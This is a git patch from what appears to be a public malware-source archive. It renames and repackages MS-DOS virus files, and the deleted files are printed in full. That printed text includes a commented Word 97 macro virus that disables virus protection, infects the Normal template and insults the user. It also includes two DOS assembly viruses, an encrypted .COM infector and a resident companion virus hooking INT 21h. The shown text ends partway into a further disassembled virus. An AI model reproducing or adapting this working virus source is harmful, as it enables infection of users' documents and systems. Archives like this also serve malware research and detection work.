From 8c9f96fc5ff78bee91ec31632cf3a35d68846608 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sun, 21 Aug 2022 04:30:30 -0500 Subject: [PATCH] mov fix --- ...wn.wm_demez.txt => Virus.MSDOS.Demenz.txt} | 0 ...nknown.wrz_d00d.asm => Virus.MSDOS.PX.asm} | 0 ...eb_415.asm => Virus.MSDOS.Tavc-RedArc.asm} | 0 ...m => Virus.MSDOS.Unknown.WindowsVirus.asm} | 0 ...nknown.w31v.asm => Virus.MSDOS.W31v.b.asm} | 0 MSDOS/Virus.MSDOS.WWT.7z | Bin 0 -> 1477 bytes ....wanderer.asm => Virus.MSDOS.Wanderer.asm} | 0 ...wn.wasmvir.asm => Virus.MSDOS.WasmVir.asm} | 0 ...nown.weflow.asm => Virus.MSDOS.WeFlow.asm} | 0 ....westmont.asm => Virus.MSDOS.Westmont.asm} | 0 ...nknown.whale.asm => Virus.MSDOS.Whale.asm} | 0 ...nown.wharps.asm => Virus.MSDOS.Wharps.asm} | 0 ...atsup.asm => Virus.MSDOS.WhatsUpVirus.asm} | 0 ...hy-wind.asm => Virus.MSDOS.WhyWindows.asm} | 0 ...winsurfr.a86 => Virus.MSDOS.WinSurfer.asm} | 0 MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z | Bin 0 -> 2081 bytes .../Virus.MSDOS.Unknown.w97_class_poppy.txt | 128 ----- MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm | 225 -------- .../W-Index/Virus.MSDOS.Unknown.windooze.asm | 289 ----------- MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm | 487 ------------------ MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm | 487 ------------------ MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm | 225 -------- MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm | 78 --- MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm | 73 --- 24 files changed, 1992 deletions(-) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.wm_demez.txt => Virus.MSDOS.Demenz.txt} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.wrz_d00d.asm => Virus.MSDOS.PX.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.web_415.asm => Virus.MSDOS.Tavc-RedArc.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.winvir.asm => Virus.MSDOS.Unknown.WindowsVirus.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.w31v.asm => Virus.MSDOS.W31v.b.asm} (100%) create mode 100644 MSDOS/Virus.MSDOS.WWT.7z rename MSDOS/{W-Index/Virus.MSDOS.Unknown.wanderer.asm => Virus.MSDOS.Wanderer.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.wasmvir.asm => Virus.MSDOS.WasmVir.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.weflow.asm => Virus.MSDOS.WeFlow.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.westmont.asm => Virus.MSDOS.Westmont.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.whale.asm => Virus.MSDOS.Whale.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.wharps.asm => Virus.MSDOS.Wharps.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.whatsup.asm => Virus.MSDOS.WhatsUpVirus.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.why-wind.asm => Virus.MSDOS.WhyWindows.asm} (100%) rename MSDOS/{W-Index/Virus.MSDOS.Unknown.winsurfr.a86 => Virus.MSDOS.WinSurfer.asm} (100%) create mode 100644 MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.w97_class_poppy.txt delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.windooze.asm delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm delete mode 100644 MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wm_demez.txt b/MSDOS/Virus.MSDOS.Demenz.txt similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wm_demez.txt rename to MSDOS/Virus.MSDOS.Demenz.txt diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wrz_d00d.asm b/MSDOS/Virus.MSDOS.PX.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wrz_d00d.asm rename to MSDOS/Virus.MSDOS.PX.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.web_415.asm b/MSDOS/Virus.MSDOS.Tavc-RedArc.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.web_415.asm rename to MSDOS/Virus.MSDOS.Tavc-RedArc.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.winvir.asm b/MSDOS/Virus.MSDOS.Unknown.WindowsVirus.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.winvir.asm rename to MSDOS/Virus.MSDOS.Unknown.WindowsVirus.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.w31v.asm b/MSDOS/Virus.MSDOS.W31v.b.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.w31v.asm rename to MSDOS/Virus.MSDOS.W31v.b.asm diff --git a/MSDOS/Virus.MSDOS.WWT.7z b/MSDOS/Virus.MSDOS.WWT.7z new file mode 100644 index 0000000000000000000000000000000000000000..9370cfe3e9ae6489648e258215f6513b234813bd GIT binary patch literal 1477 zcmV;$1v>gSdc3bE8~_CCe|ar}1poj50000Z000000002}3E=|Z4u}NWT>u7x$_OZ2 z;C7n?Q`QIuN-0lkuf%Qp(NteJ1yT-@;+(RM8Hvr*jg0>ylU$nHDT;a+VrOR`JapEN z_dzCjp^s6y%YUY;fm?_#C-D^SPI$w&4YmXdZg0HfZ|qIDD>|bT55!Sm-ne5g!v~CT-WK&7M&Ic;(E8NSnK|P$`^Zq_KwLHRWmE2*u62(@dX@ z&#+7&r&6{6DoMs@CLJL{1cO3TS$wB@x}z_Ei$5xj3dgQ^sbuszNu|Jl$YEsT`F*Nt z>A4y?`)9rd%#O?#o3b@khZT`b_dCeAWb6$)TP*osE3_#ye8iA8WW9xvYhct40zag= zr76t6M%fc4j37fJaHRY-l{lpC@5`+*r3tIhp?k|9#-PFU5m&jEG!#I&b7e9#=z;^# z%!6&8K1~H{qh^5K&Nr1E{>&3NbQU*o%$HR~{Z3*EQbtfvU)kDPuC^7X!hA-@6t4F; zia>08leGt{ket2B-4*^e@Z~==D2K%fXq-Re$RJ60toDd2rjv+;z!WYnAZDhFTnE0) zXxM~uSd&E{F}2Li=WD&N>=uZbmXd`)=g-HyyDcwX*InPf8?h_3Y>s8<+|RPpIm;M7 zk1;V{?Gl2RJeOj~Dxap8S9!!1CXdj5InqvaOmI&}X}_ zELj4m0ufnLN_#di8};D^P+Whdt~LSGw4&Zz7TahA(NvTpU9n2&0U0Mxhc~sfx0p(< zw#i1bDEu^9w&;2>h1T7deDTQ1<7S$Bqbd~L$9~_F4W?&{wbX0+A65XOLMmwCRXlYg zE|4VCuxPT4e{)QwFV^EC;zDAM;%x$-lYm#hq!wA9kGosu+?Jz-D;`l5FXedKk9Xgm zsU)q_-=gijYBv!`me09HktRSFPT*zpb<|2SO%OdA-C^~%D@fd-Ch_EoLxdN@@8M)w zHsXnoGaAP@STc-4EMcrJl1JHF!h)Q%zz4Bp2WR6u-vt#}D2p>)fv5P&3{?8It~(>R z@9!KCgsnAk*jdak$C2S1d#%uj z|EY>oH&n+%E&IPGdfvaUHRqC=ArmE?XSXR^uh?X?CcgoJ2WnLp$0x9}xwE)KN&8So z;r*VP_6pAbZ}`#T`_UOLJkdNvYpTah8@d5OsWMh@9tWkA#$+jDeRZB3fu&?@uf{w_ zlUHo+XE8jiR4IK)$zhT;rs+QzknZ)UOSfh$dH6lFYk}RU4Y?i?H^o{iX(P_RKDjfQ zUj~2ti3&|2+Jpp|2+W?%hF9fiJwk?Ref||pbjYdy1AWl+ovwbFn{XlOerhyVU_R2? zFVOTf$o~X4F7)TOz%}+2iTWke54$LJ&b#1tX^ltnzmb70qz0wjl>#aQo#$U6IRq7` zd}mf0pfzNk)99MD8MO&4nj5*;?XX}dmXvHpfRG;-z;hfQAI#PjF%8_E%&WpehbV`VVw3Ulr|2VQe&ju!@m;sFVO fpa2I80RRCb0|5aAT>uaO01SaT3IY60hmHUM0xr1@ literal 0 HcmV?d00001 diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wanderer.asm b/MSDOS/Virus.MSDOS.Wanderer.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wanderer.asm rename to MSDOS/Virus.MSDOS.Wanderer.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wasmvir.asm b/MSDOS/Virus.MSDOS.WasmVir.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wasmvir.asm rename to MSDOS/Virus.MSDOS.WasmVir.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.weflow.asm b/MSDOS/Virus.MSDOS.WeFlow.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.weflow.asm rename to MSDOS/Virus.MSDOS.WeFlow.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.westmont.asm b/MSDOS/Virus.MSDOS.Westmont.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.westmont.asm rename to MSDOS/Virus.MSDOS.Westmont.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.whale.asm b/MSDOS/Virus.MSDOS.Whale.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.whale.asm rename to MSDOS/Virus.MSDOS.Whale.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wharps.asm b/MSDOS/Virus.MSDOS.Wharps.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wharps.asm rename to MSDOS/Virus.MSDOS.Wharps.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.whatsup.asm b/MSDOS/Virus.MSDOS.WhatsUpVirus.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.whatsup.asm rename to MSDOS/Virus.MSDOS.WhatsUpVirus.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.why-wind.asm b/MSDOS/Virus.MSDOS.WhyWindows.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.why-wind.asm rename to MSDOS/Virus.MSDOS.WhyWindows.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.winsurfr.a86 b/MSDOS/Virus.MSDOS.WinSurfer.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.winsurfr.a86 rename to MSDOS/Virus.MSDOS.WinSurfer.asm diff --git a/MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z b/MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z new file mode 100644 index 0000000000000000000000000000000000000000..e35af42ea971949ee443b32f7e8a9c2eda91d5c0 GIT binary patch literal 2081 zcmV++2;TQMdc3bE8~_B5Sbvz_2LJ#70000Z000000001j_(wJ1Rfz{KT>u7x$_OZ2 z;C7n?Q`QIuN-0lkuf%Qp(NteI(Tq&vI8|-lbc1&Z_t+7Ofv31<7Un7lb>??c>fA+e z9(WgFNH}(UYKFK+HBYmCqHI2psx?|KNES?^Qtz5k#X#fS;Cn^>!Cw(yCeeYI!*r=> z)SLi+NyZiFHL&tTL}jl;^f=U#d$%42frp9~hY_oCxC)ct3*fLU4lOjX{p--~4x`EP zbCmcNuJt-X&?DEi)Ei#^i_z?Kcn&KeowLJXV$&VOxUC{Xx5AR(4!<_ti#j|o+qJ$6{90k8wKgRAjTk!L zN;OxfoaB$Y_9OlD0&Y0fdJK&e%UqD7@B9f>&ro9Gl^j`5m}IOY;h6VK#$=T4g&ZH| z(Rk)s`I*6;;8UMGz*d#CH51NDM~^jPTyg8bS-ubxp8)mp0BuOM!0kmTaa)lS3h1&Z z?j0EwuDg(n&FLIwKMXCzlxu&EB-H3R%QMjtAFH2ih=!XrfP?I$jK#WqsLgt^jI}Jm z0JJf8q5*U)Y>sg?Z(CmPHZ4H=t22JSAXkw&_lCaB*@^V}eJ%5AL0~???uj#GsAMEY z-;2Kp4Qfs$p9tpUGn1r0@PVytDN`PoL-S{ zk>~CB3TZtc7P$P*X6BvBF)Ul}=lGL0I`4cliu{Zk7suDp({IM~*o!Qxr@1P(n-*=8 zn$*b9ALC54Xt%8ygH4jojH@d(=F!180=x!Vi2#Xqu|eDr(J&*ncze$*LhAC$$5pxb z|A79H_sF)F@DUA*t~12;MI@#J#fZIzOXM;IEki{jepn`I?p{EoPvqKP2J?mXkgY<}^8Wxs_v976_TRCllD36|wL`s$6rpoc-XC{R5 zqLKdnZ3{Cu3F1bB!+OO)dEyI`T0$&th3ob9xQ!8=y}U##Ep@(Xw^=Lp!XoO~l*u0d zd1~>(GBSR5F+XwM8IFY0nHnCUhST+)I#)97pp5K8o8Rsj=qMB z9?F>b&G_rR%nXWMAao;*c3L;i51qrAp+NMfgn;P2%V=M8y6m7R)h~&4_u@BxN!65YVaYbMn8Txd%|*}tt^xH(lfk{FgFAm?bX>FV^>JlQ zEXWy8pZd$5IW#!^yW*i{8&h|z`|D&|Bd}beY(&GAt13-~g#s3b+BXyKdb2&Mah8Pr zn7EAfF6pqT>>B=&xh%I_Tll#Y2HC6hVU?EG?MR|KwwOYJ6nQQOr-kZU3)t%*vqG+3 z0{ch|9dh^l15e{z%Q>5=28M8=az6I+Y5*IizE;&M!(h{pF>R(i!2p;tL1dOR(QDCS z$nR8a+eP`D(;o;(PZ}0C^A!_2S9J?#cMxK7a_ZjUvKX6R27P;1c4ko!ii)4((yPnc z*@pYsi3zP{o8?4G_K(KqMgZrK90pJ2#`8e`NcDpykIKjRgdI1Q;9duWt3x)Yy0{0J zN|Opsy1lsM0lx#C0(qoOCQr>}?-rR0rfuu=EKDJQHxttJa(lC_OA{r!=jIST35D|v zp(_&5<)@?asWl)`RNUzCIZCHFsWSZ#V>ddA!*x{rK{MpT%z%_{5-j7-nTg7wD`=wD z3qV1#D46Jpj6YWLZ5oK7lGgVlkci9rA2sc!ePSvWm0VLvs!;r{Rg}Wrk446UMYr{b##u+8Ft-mXHj8Mhvy zw^Q%O690lCfygDHtcyE)U+F;6a>!Uz97YmXusb0MU1aSNBu!3f=%yBgcu3Som|gF$ zH+>2nFqzQobgM)A>Ubpla13F1SJQS402c;_HUSBMr~n5G0RRCb0|5aAT>uaO01Sb` L3IPHA_@n>;GFtTK literal 0 HcmV?d00001 diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.w97_class_poppy.txt b/MSDOS/W-Index/Virus.MSDOS.Unknown.w97_class_poppy.txt deleted file mode 100644 index 55303c3f..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.w97_class_poppy.txt +++ /dev/null @@ -1,128 +0,0 @@ -'W97/Class.Poppy.B -'Word 97 Class Object Infector -'First Ever Class Object Infetor - -Sub AutoOpen() - - ' AutoOpen Sub In Document - -On Error GoTo out - - ' Handle Errors - -Options.VirusProtection = False - - ' Turn Off Virus Protection - -Options.SaveNormalPrompt = False - - ' Turn Off Normal.dot Save Prompt - -Options.ConfirmConversions = False - - ' Turn Off Conversion Prompt (from 95 -> 97) - -ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines - - ' Count The Number Of Code Lines In The Document - -nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines - - ' Count The Number Of Code Lines In The Normal.dot - -If nt > 70 And ad > 0 Then GoTo out - - ' If We Are Installed In Both (Lines > 0 and 72) Then Exit - -If nt < 70 Then - - ' If We Are Not In The Normal.dot (Lines < 72) Then Install Us - - Set infect = NormalTemplate.VBProject.VBComponents.Item(1) - - ' Set Normal.dot Class Section As Infect Object (What We Want To Infect) - - ActiveDocument.VBProject.VBComponents.Item(1).Name = infect.Name - - ' Swamp The Class Section Names (Active Doc <- Normal Template) - - ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" - - ' Export Our Virus Code - -End If - -If ad = 0 Then Set infect = ActiveDocument.VBProject.VBComponents.Item(1) - - ' If We Are Not In The Active Doc (Lines < 0) Then Install Us - -If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy" - - ' If The Day And Time Are Right Insult The User - -infect.codemodule.AddFromFile ("c:\class.sys") - - ' Use The Infect Object - Import Your Virus Code - -With infect.codemodule - - ' With The Newly Infected Class Object - - For x = 1 To 4 - - ' Clean Up The First 4 Lines Of Header-Code - - .deletelines 1 - - ' Delete Line 1 - 4 Times - - Next x - -End With - -If nt < 70 Then - - ' If We Just Infected The Normal.Dot - - With infect.codemodule - - .replaceline 1, "Sub AutoClose()" - - ' Change AutoOpen (on line 1) to AutoClose - - .replaceline 71, "Sub ToolsMacro()" - - ' Change Sub ViewVBCode (on line 71) to ToolsMacro - - End With - -End If - -With infect.codemodule - - ' With The Newly Infected Object - - For x = 2 To 72 Step 2 - - ' Use Word Object Data As Polymorpic Code On Every Other Line - - .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow - - Next x - -End With - -out: - -If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName - - ' If We Just Infected A Document Save It On Close - -End Sub - -Sub ViewVBCode() - - ' Stealth Hook - -End Sub - diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm deleted file mode 100644 index 13b1aa4b..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm +++ /dev/null @@ -1,225 +0,0 @@ -Model Tiny -.code -.286 -org 100h -start: - push cs - push offset Entry - retf - db 'DrWeb - £®à¡ãå !' -BEG_LEN equ $-start -Entry: - pusha - push ds - push es - call En1 -EN_LEN equ $-Entry -En1: - push ds - pop es - xchg ax,di - pop bp - sub bp,EN_LEN - mov bx,1100h - mov ah,4ah - int 21h - jnc ALLOCATED -Exit_Proc: - pop es - pop ds - popa - push cs - push si - retf -ALLOCATED: - mov ax,LBL - add ax,bp - mov cl,4 - shr ax,cl - inc ax - push ds - pop bx - add ax,bx - push ax - push cs - pop ds - pop es -LBL10: - mov si, bp - cld - xor cx,cx - add si, Crypt_Start -LBL0: - mov ax,word ptr ds:[si] - inc cx - mov bx,word ptr ds:[si+2] - inc cx - xchg ah,al - inc cx - xchg bh,bl - inc cx - xchg ax,bx - xor ax,0BEBEh - xor bx,0BEBEh - mov word ptr ds:[si],ax - mov word ptr ds:[si+2],bx - add si,4 - cmp cx, Crypt_LEN - jge LBL1 - jmp short LBL0 -LBL1: -Crypt_Start equ $-Entry - - mov ah,1ah - mov dx,bp - add dx,Crypt_End - mov bx,dx - int 21h - - push es - push cs - pop es - mov di,100h - mov si,bp - add si,Old_BEGIN - mov cx,BEG_LEN - rep movsb - pop es - - cld - mov ah,4eh - mov cx, 20h - mov dx,bp - add dx,C_Mask -Interrupt: - int 21h - jb Not_Found - jmp Test_File -Not_Found: - mov ah,1ah - mov dx,80h - int 21h - jmp Exit_Proc -Test_File: - push bx - add bx,1ah - mov ax,[bx] - and ax,0f000h - cmp ax,0f000h - jnz Len_Tested -Find_Next: - pop bx - mov ah,4fh - jmp Short Interrupt -Len_Tested: - add bx,04h - xchg dx,bx - mov ax,3d02h - int 21h - xchg ax,bx - mov ah,3fh - mov cx,BEG_LEN - mov dx,bp - add dx,Old_BEGIN - push dx - int 21h - pop si - cmp byte ptr ds:[si+14h],'!' - je Close_File - jmp short Uses_File -Close_File: - mov ah,3eh - int 21h - jmp Find_Next - -Uses_File: - mov ax,4202h - xor cx,cx - xor dx,dx - int 21h - push ax - - cld - mov si,bp - xor di,di - mov cx, Crypt_End / 2 - rep movsw - - pusha - push es - pop ds - xor cx,cx - mov si, Crypt_Start -LBL_0: - mov ax,word ptr ds:[si] - inc cx - mov bx,word ptr ds:[si+2] - inc cx - xchg ah,al - inc cx - xchg bh,bl - inc cx - xchg ax,bx - xor ax,0BEBEh - xor bx,0BEBEh - mov word ptr ds:[si],ax - mov word ptr ds:[si+2],bx - add si,4 - cmp cx, Crypt_LEN - jge LBL_1 - jmp short LBL_0 -LBL_1: - popa - - mov ah,40h - mov cx,Crypt_End - xor dx,dx - int 21h - mov ax,4200h - xor cx,cx - xor dx,dx - int 21h - push cs - pop ds - pop ax - pop si - push si - mov di,bp - add ax,100h - add di,New1 - inc di - mov [di],ax - mov ah,40h - mov dx,bp - add dx,New_BEGIN - mov cx,BEG_LEN - int 21h - jmp Close_File - -C_MASK equ $-Entry -db '*.com',0h - -New_BEGIN equ $-Entry - push cs -LI: -New1 equ $-Entry - push offset Entry - retf -Apll equ $-Entry -Rems equ $-LI - db 'DrWeb - £®à¡ãå !' - -Old_BEGIN equ $-Entry - db 0c3h - db BEG_LEN-1 dup (90h) - -db 'RedArc // [TAVC]' - -Crypt_End equ $-Entry -Crypt_LEN equ $-LBL1 - -DTA db 80h dup (?) - -LBL equ $-Entry - -end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.windooze.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.windooze.asm deleted file mode 100644 index 272617c9..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.windooze.asm +++ /dev/null @@ -1,289 +0,0 @@ -ideal -@date = 0355h ;21.10.1981 -@time = 8E79h ;17:51:50 -model tiny -codeseg -startupcode - jmp begin -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -macro intdos - pushf - call [dword cs:oi21] -endm -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -i21: push ax - xor al,al - cmp ah,3ch - jz okk - cmp ah,5bh - jz okk - cmp ah,3dh - jz okk - inc al - cmp ah,16h - jz okk - cmp ah,0fh - jnz ov0 -okk: jmp ok -ov0: cmp ah,1ah - jz setdta - mov [byte cs:funct],12h - cmp ah,12h - jz fndf - cmp ah,11h - jz fndf - mov [byte cs:funct],4fh - cmp ah,4eh - jz fndh - cmp ah,4fh - jz fndh -ov: pop ax - db 0eah -oi21 dw 0 -oi21s dw 0 -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -setdta: mov [cs:dta],dx - mov [cs:dta+2],ds - jmp ov -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -fndh: pop ax -fnd0: intdos - jc fex - pushf - push si di es ds - lds si,[dword cs:dta] -compar: cmp [word si+16h],@time - jnz f10 - cmp [word si+18h],@date - jnz f10 - pop ds es di si - popf - lds dx,[dword cs:dta] - db 0b4h -funct db 4fh - jmp fnd0 -f10: pop ds es di si - popf -fex: push ax bp - mov bp,sp - lahf - mov [ss:bp+8],ah - pop bp ax - iret -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -fndf: pop ax -fnf0: intdos - and al,al - jnz fex - pushf - push si di es ds - lds si,[dword cs:dta] - cmp [byte ds:si],0ffh - jnz f21 - add si,7 -f21: inc si - jmp compar -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -ok: push bx cx dx si di ds es - and al,al - jz nex - mov cx,6 - mov ax,cs - mov es,ax - lea di,[ok1] - mov si,dx - rep cmpsw - jnz nex - pop es ds di si dx cx bx ax - mov ax,1313h - iret -nex: - xor ax,ax - mov ds,ax - mov ax,[ds:90h] - push ax - mov ax,[ds:92h] - push ax - mov [word ds:90h],offset i24 - mov [word ds:92h],cs - - mov bx,[ds:46ch] - mov ax,cs - mov ds,ax - mov es,ax - test bx,6C1h - jnz no_chg - cmp [byte pauss],0 - jz chg1 - dec [byte pauss] - jmp no_chg -chg1: mov [pauss],80 - xor al,al - out 43h,al - jcxz $+2 - in al,40h - mov bl,al - in al,40h - add al,bl - and al,1fh - cmp al,'Z'-'A' - jbe xx1 - sub al,'Z'-'A' -xx1: add al,'A' - std - mov si,offset fname+6 - lea di,[si+1] - mov cx,7 - rep movsb - stosb -no_chg: - mov ah,5bh - lea dx,[fname] - mov cx,1 - intdos - jc term - mov bx,ax - mov ah,40h - mov cx,offset endcod-100h - mov dx,100h -; inc [cs:count] - mov [cs:flag],0 - intdos - cmp ax,offset endcod-100h - jnz ok1 - mov [cs:flag],1 -ok1: mov ax,5701h - mov cx,@time - mov dx,@date - intdos - - mov ah,3eh - intdos - cmp [cs:flag],1 - jz term - - lea dx,[fname] - mov ax,4301h - xor cx,cx - intdos - lea dx,[fname] - mov ah,41h -; dec [cs:count] - intdos -term: xor ax,ax - mov ds,ax - pop ax - mov [ds:92h],ax - pop ax - mov [ds:90h],ax -ok0: pop es ds di si dx cx bx - jmp ov -driv db 0 -flag db 0 -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -i24: mov al,3 - iret -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -begin: mov ah,16h - lea dx,[ok1] - int 21h - cmp ax,1313h - jnz b01 -b02: int 20h -b01: mov ax,[ds:2ch] - mov ds,ax - xor si,si - cld -b04: lodsb - and al,al - jnz b04 - lodsb - and al,al - jnz b04 - inc si - inc si -b05: mov bx,si -b06: lodsb - cmp al,':' - jz b05 - cmp al,'\' - jz b05 - and al,al - jnz b06 - mov cx,si - sub cx,bx - mov si,bx - mov di,offset fname - rep movsb - mov ah,2fh - int 21h - mov [cs:dta],bx - mov [cs:dta+2],es - mov [byte cs:pauss],0 - mov ax,cs - mov ds,ax - dec ax - mov es,ax - - mov cl,4 - mov ax,offset endpr-100h - add ax,15 - shr ax,cl - mov cx,[es:3] - sub [es:3],ax - mov bx,ax - mov ax,cs - add ax,[es:3] - sub ax,10h - mov [bseg],ax - cmp [byte es:0],'Z' - jz b10 - - push ds - mov ax,cs - add ax,cx - mov ds,ax - sub ax,bx - mov es,ax - sub ax,0fh - mov [cs:bseg],ax - xor si,si - mov di,si - mov cx,8 - rep movsw - add [es:3],bx - sub [es:1],bx - pop ds - -b10: mov ax,[bseg] - mov es,ax - mov si,100h - mov di,si - mov cx,offset endpr-100h - rep movsb - mov di,offset b03 - xchg di,[0ah] - xchg ax,[0ch] - mov [es:oter],di - mov [es:oter+2],ax - ret -b03: push ax bx ds es cs - pop ds - mov ax,3521h - int 21h - mov [oi21],bx - mov [oi21s],es - mov ax,2521h - lea dx,[i21] - int 21h - pop es ds bx ax - db 0eah -endcod = $ -oter dw 0 -bseg dw ? -count dw ? -pauss db ? -fname db 13 dup (?) -dta dw ?,? -endpr = $ -end \ No newline at end of file diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm deleted file mode 100644 index 98555159..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm +++ /dev/null @@ -1,487 +0,0 @@ - -PAGE 59,132 - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -;ÛÛ ÛÛ -;ÛÛ WVIR14 ÛÛ -;ÛÛ ÛÛ -;ÛÛ Created: 1-Sep-92 ÛÛ -;ÛÛ Passes: 5 Analysis Options on: none ÛÛ -;ÛÛ ÛÛ -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - -data_11e equ 100h ;* -data_12e equ 140h ;* -data_13e equ 142h ;* -data_14e equ 144h ;* -data_15e equ 148h ;* -data_16e equ 14Ah ;* -data_17e equ 150h ;* -data_18e equ 16Eh ;* -data_19e equ 181h ;* -data_20e equ 19Ch ;* -data_21e equ 19Eh ;* -data_22e equ 1A0h ;* -data_23e equ 1A2h ;* - -;------------------------------------------------------------ seg_a ---- - -seg_a segment byte public - assume cs:seg_a , ds:seg_a , ss:stack_seg_b - - db 249 dup (0) - 